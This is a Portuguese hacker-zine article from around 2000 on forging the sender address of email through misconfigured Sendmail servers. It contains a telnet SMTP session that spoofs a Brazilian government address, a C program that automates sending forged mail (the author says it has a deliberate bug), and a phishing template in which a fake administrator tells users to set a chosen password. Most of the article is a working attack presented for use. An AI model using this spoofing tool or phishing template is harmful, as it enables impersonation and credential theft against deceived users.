##########################################################################
########################## UNSEKURITY SCENE ##############################
##########################################################################
By Martin Fallon.
mar_fallon@yahoo.com.br
*** ENVIO SIMPLES DE E-MAIL FALSO ***
Quando o Marco Nunez foi preso, muitos especularam se ele havia realmente
enviado um e-mail falso e como.Existem diversos metodos para se enviar
um e-mail com endereco do remetente forjado, ou como conhecemos
vulgarmente, um fake mail! Neste breve artigo eu irei expor um metodo
simples e que requer algumas configuracoes "bugadas"(entre aspas) no
servidor alvo, para que se possa enviar um fake mail usando o seu
proprio Servidor SMTP, no caso, o poderoso MTA Bugmail(Sendmail).
Enviar um fakemail via servidores sendmail mal configurados eh algo bem
trivial.E nos podemos ver como se faz isso, seguindo os passos abaixo,
onde eu enviarei um e-mail ao usuario "root" como se fosse o senhor,
excelentissimo presidente da republica fhc@planalto.gov.br;
Primeiramente, nos iremos dar um telnet para a porta 25 do servidor alvo,
e toda a negociacao serah feita via /bin/telnet.
darkstar:/# telnet alvo 25
Trying XXX.XXX.XXX.X...
Connected to X.
Escape character is '^]'.
220 XXX ESMTP Sendmail 8.9.3/8.9.3; Sun, 31 Dec 2000 22:26:22 -0300
helo localhost.localhost
250 XXX Hello localhost [127.0.0.1], pleased to meet you
mail from: fhc@senado.gov.br
250 fhc@senado.gov.br... Sender ok
rcpt to: root@localhost
250 root@localhost... Recipient ok
data
354 Enter mail, end with "." on a line by itself
teste fake
.
250 WAA00163 Message accepted for delivery
quit
221 darkstar closing connection
Connection closed by foreign host.
Como voces podem ver na demonstracao acima, eh bem simples forjar e
enviar um e-mail forjado.Basicamente seguimos os seguintes passos:
1 - HELO servidor
2 - MAIL FROM: <endereco forjado>
3 - RCPT TO: <usuario alvo>
4 - DATA para digitarmos nossa mensagem.
5 - E . (ponto final numa unica linha) para indicarmos que terminamos
a mensagem.
Como podemos ver, isto eh mesmo bem simples.E ficarah mais simples, aos
irmaos NewBies que conhecem um pouco do hacking, com o programa abaixo:
-------------------------------------------------------------------------
/* PROGRAMA AUTOMATIZADOR DE ENVIO DE
* E-MAILS COM ENDERECO DE ORIGEM FORJADO.
* FEITO POR MARTIN FALLON EM 31.12.2000.
* mar_fallon@yahoo.com.br
* OBS: Existe um pequeno erro no codigo
* para coibir acao de script kiddies.
* Agradecimentos a todos da Unsek Scene.
* http://unsekurity.virtualave.net/
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#define ERROR -1
#define PORT 25
int Mensagem(int Socket);
int main(int argc, char *argv[]){
char Recv[1024], Send[1024];
int Socket, R;
struct hostent *host;
struct sockaddr_in alvo;
if(argc < 4){
printf("Faker - Envia Mails Forjados!\n\n");
printf("Uso: %s [host_alvo] [usuario_alvo] [rementente_forjado]\n\n",argv[0]);
printf("Unsek Scene Rocks - http://unsekurity.virtualave.net/\n");
exit(ERROR);
}
host = gethostbyname(argv[1]);
if(host == NULL){
fprintf(stderr,"Host Desconhecido!\n");
exit(ERROR);
}
alvo.sin_family = host->h_addrtype;
alvo.sin_port = htons(PORT);
alvo.sin_addr = *((struct in_addr *)host->h_addr);
bzero(&(alvo.sin_zero), 8);
Socket = socket(AF_INET, SOCK_STREAM,0);
if(Socket < 0){
perror("Socket");
exit(ERROR);
}
if(connect(Socket,(struct sockaddr * )&alvo, sizeof(alvo)) < 0){
fprintf(stderr,"Erro em connect()!!\n");
close(Socket);
exit(ERROR);
}
bzero(Send, sizeof(Send));
bzero(Recv, sizeof(Recv));
snprintf(Send,1023,"HELO localhost.%s\n",argv[1]);
write(Socket,Send,strlen(Send));
if ((R = read(Socket, Recv, sizeof(Recv))) < 0){
fprintf(stderr,"Sem Resposta!");
close(Socket);
exit(ERROR);
}
if(!strstr(Recv,"ok")){
printf("1o. Passo Dado - Helo respondeu com OK!:)\n");
}
else{
fprintf(stderr,"Problemas com HELO!\n");
close(Socket);
exit(ERROR);
}
bzero(Send, sizeof(Send));
bzero(Recv, sizeof(Recv));
snprintf(Send,1023,"MAIL FROM: %s\n",argv[3]);
write(Socket,Send,strlen(Send));
if ((R = read(Socket, Recv, sizeof(Recv))) < 0){
fprintf(stderr,"Sem Resposta para MAIL FROM!\n");
close(Socket);
exit(ERROR);
}
if(!strstr(Recv,"ok")){
printf("2o. Passo Dado - Mail From respondeu com OK!:)\n");
}
else{
fprintf(stderr,"Problemas com Mail From!\n");
close(Socket);
exit(ERROR);
}
bzero(Send, sizeof(Send));
bzero(Recv, sizeof(Recv));
snprintf(Send,1023,"rcpt to: %s\n",argv[2]);
write(Socket,Send,strlen(Send));
if ((R = read(Socket, Recv, sizeof(Recv))) < 0){
fprintf(stderr,"Sem Resposta para Rcpt to!\n");
close(Socket);
exit(ERROR);
}
if(!strstr(Recv,"Recipient ok")){
printf("3o. Passo Dado - Rcpt To respondeu com OK!:)\n");
}
else {
fprintf(stderr,"Problemas com RCPT TO!\n");
close(Socket);
exit(ERROR);
}
bzero(Send, sizeof(Send));
bzero(Recv, sizeof(Recv));
Mensagem(Socket);
return 0;
}
/* Funcao Responsavel Pelo Envio Interativo da Mensagem */
#define max(x,y) ((x)>(y)?(x):(y))
int Mensagem(int Socket){
char envia[4056], recebe[1024], buffer[4056];
fd_set rset;
int R, maxfd;
sleep(1);
bzero(envia, sizeof(envia));
bzero(recebe, sizeof(recebe));
printf("Digite sua Mensagem\n");
strcpy(envia,"DATA\n");
write(Socket, envia, strlen(envia));
if ((R = read(Socket, recebe, sizeof(recebe))) < 0){
fprintf(stderr,"Problemas com DATA!\n");
close(Socket);
exit(ERROR);
}
if(!strstr(recebe,"Enter mail")){
bzero(envia, sizeof(envia));
bzero(recebe, sizeof(recebe));
for (;;){
FD_SET(fileno(stdin), &rset);
FD_SET(Socket, &rset);
maxfd = max(fileno(stdin), Socket) + 1;
select(maxfd, &rset, NULL, NULL, NULL);
if (FD_ISSET(fileno(stdin), &rset)) {
bzero(envia, sizeof(envia));
while(!strstr(envia,"FIM")){
fgets(buffer, sizeof(envia) - 2, stdin);
strcat(envia,buffer);}
strcat(envia,"\n.\n");
write(Socket, envia, strlen(envia));
}
if (FD_ISSET(Socket, &rset))
{
bzero(recebe, sizeof(recebe));
if ((R = read(Socket, recebe, sizeof(recebe))) == 0){
printf("ok!\n");
}
}
else
{
return (ERROR);
}
}
}
bzero(envia, sizeof(envia));
bzero(recebe, sizeof(recebe));
strcpy(envia,"QUIT");
write(Socket, envia, strlen(envia));
if ((R = read(Socket, recebe, sizeof(recebe))) < 0){
fprintf(stderr,"Erro na Desconexao - Taca um Ctrl + C!\n");
close(Socket);
exit(ERROR);
}
printf("Fakemail Enviado com Sucesso!!\n");
return 0;
}
------------------------------------------------------------------------
O codigo acima automatiza os esquemas descritos, eh apenas um codigo
inutil, jah que voce conhece a teoria e a pratica!:)
O que podemos fazer de util com esta tecnica?
Se existe um host alvo com a porta 25 nessas condicoes.E voce nao
conseguiu exploitar o mesmo via as outras tecnicas, voce pode se passar
pelo administrador de sistema e induzir um usuario a praticar uma acao.
Enviando um e-mail com endereco forjado, podemos facilmente enganar um
usuario da rede, vejamos o exemplo abaixo:
Prezado usuario,
venho atraves deste e-mail solicitar ao senhor que altere sua senha para
AxDeFgH e que a mesma permaneca assim durante duas semanas.O motivo desta
solicitacao, eh que a conta do senhor tem sido constantemente atacada,
e por este motivo se faz necessario que o senhor sete esta senha para que
o nosso sistema possa bloquear os ataques!
Atenciosamente,
Fulano de Tal
Administrador da REDEALVO
Como o e-mail acima vai parecer ter sido enviado pelo proprio administrador,
dificilmente o usuario nao mudaria as configuracoes solicitadas!
Esta eh mais uma simples tecnica fucadora conhecida em larga escala, mas
que ainda tem milhares de servidores vulneraveis! No link abaixo, pode-se
obter maiores informacoes de como diminuir este problema:
http://www.orbs.org/
Um [].
Martin Fallon.